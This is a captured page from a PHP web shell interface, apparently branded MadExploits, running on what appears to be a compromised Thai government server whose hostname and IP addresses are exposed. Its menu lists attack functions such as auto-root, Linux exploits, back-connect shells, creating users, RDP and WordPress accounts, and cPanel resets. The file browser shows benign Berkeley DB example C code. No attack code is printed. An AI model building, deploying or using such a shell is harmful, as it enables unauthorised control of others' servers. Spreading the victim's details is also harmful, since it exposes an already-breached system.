Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
db4-devel-4.7.25 /
examples_c /
[ HOME SHELL ]
Name
Size
Permission
Action
csv
[ DIR ]
drwxr-xr-x
ex_apprec
[ DIR ]
drwxr-xr-x
ex_rep
[ DIR ]
drwxr-xr-x
getting_started
[ DIR ]
drwxr-xr-x
txn_guide
[ DIR ]
drwxr-xr-x
README
1.26
KB
-rw-r--r--
bench_001.c
8.99
KB
-rw-r--r--
ex_access.c
3.53
KB
-rw-r--r--
ex_btrec.c
4.55
KB
-rw-r--r--
ex_dbclient.c
4.92
KB
-rw-r--r--
ex_env.c
3.07
KB
-rw-r--r--
ex_lock.c
5.18
KB
-rw-r--r--
ex_mpool.c
5.5
KB
-rw-r--r--
ex_sequence.c
2.71
KB
-rw-r--r--
ex_thread.c
12.79
KB
-rw-r--r--
ex_tpcb.c
17.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ex_sequence.c
/*- * See the file LICENSE for redistribution information. * * Copyright (c) 1997,2008 Oracle. All rights reserved. * * $Id: ex_sequence.c,v 12.9 2008/04/17 01:35:27 alexg Exp $ */ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef _WIN32 extern int getopt(int, char * const *, const char *); #else #include <unistd.h> #endif #include <db.h> #define DATABASE "sequence.db" #define SEQUENCE "my_sequence" int main __P((int, char *[])); int usage __P((void)); int main(argc, argv) int argc; char *argv[]; { extern int optind; DB *dbp; DB_SEQUENCE *seq; DBT key; int i, ret, rflag; db_seq_t seqnum; char ch; const char *database, *progname = "ex_sequence"; dbp = NULL; seq = NULL; rflag = 0; while ((ch = getopt(argc, argv, "r")) != EOF) switch (ch) { case 'r': rflag = 1; break; case '?': default: return (usage()); } argc -= optind; argv += optind; /* Accept optional database name. */ database = *argv == NULL ? DATABASE : argv[0]; /* Optionally discard the database. */ if (rflag) (void)remove(database); /* Create and initialize database object, open the database. */ if ((ret = db_create(&dbp, NULL, 0)) != 0) { fprintf(stderr, "%s: db_create: %s\n", progname, db_strerror(ret)); return (EXIT_FAILURE); } dbp->set_errfile(dbp, stderr); dbp->set_errpfx(dbp, progname); if ((ret = dbp->open(dbp, NULL, database, NULL, DB_BTREE, DB_CREATE, 0664)) != 0) { dbp->err(dbp, ret, "%s: open", database); goto err; } if ((ret = db_sequence_create(&seq, dbp, 0)) != 0) { dbp->err(dbp, ret, "db_sequence_create"); goto err; } memset(&key, 0, sizeof(DBT)); key.data = SEQUENCE; key.size = (u_int32_t)strlen(SEQUENCE); if ((ret = seq->open(seq, NULL, &key, DB_CREATE)) != 0) { dbp->err(dbp, ret, "%s: DB_SEQUENCE->open", SEQUENCE); goto err; } for (i = 0; i < 10; i++) { if ((ret = seq->get(seq, NULL, 1, &seqnum, 0)) != 0) { dbp->err(dbp, ret, "DB_SEQUENCE->get"); goto err; } /* There's no portable way to print 64-bit numbers. */ #ifdef _WIN32 printf("Got sequence number %I64d\n", (int64_t)seqnum); #else printf( "Got sequence number %llu\n", (unsigned long long)seqnum); #endif } /* Close everything down. */ if ((ret = seq->close(seq, 0)) != 0) { seq = NULL; dbp->err(dbp, ret, "DB_SEQUENCE->close"); goto err; } if ((ret = dbp->close(dbp, 0)) != 0) { fprintf(stderr, "%s: DB->close: %s\n", progname, db_strerror(ret)); return (EXIT_FAILURE); } return (EXIT_SUCCESS); err: if (seq != NULL) (void)seq->close(seq, 0); if (dbp != NULL) (void)dbp->close(dbp, 0); return (EXIT_FAILURE); } int usage() { (void)fprintf(stderr, "usage: ex_sequence [-r] [database]\n"); return (EXIT_FAILURE); }
Close